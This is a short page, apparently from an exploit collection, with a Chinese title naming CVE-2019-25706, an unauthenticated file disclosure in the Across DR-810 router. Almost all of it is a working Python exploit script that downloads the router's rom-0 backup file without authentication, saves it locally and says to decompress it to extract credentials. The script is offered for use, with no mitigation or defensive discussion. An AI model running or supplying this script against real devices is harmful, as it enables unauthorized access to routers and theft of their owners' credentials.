CVE-2019-25706: Across DR-810 未认证文件泄露漏洞

import requests def exploit(target_ip): # Construct the vulnerable URL target_url = f"http://{target_ip}/rom-0" try: print(f"[*] Attempting to download rom-0 from {target_url}") # Send unauthenticated GET request response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Exploit successful! File received.") # Save the binary content filename = "rom-0.bin" with open(filename, "wb") as f: f.write(response.content) print(f"[+] Backup file saved as {filename}.") print("[*] Use decompression tools (e.g., rom-0 decryptor) to extract credentials.") else: print(f"[-] Failed. HTTP Status Code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the target router IP address target = "192.168.1.1" exploit(target)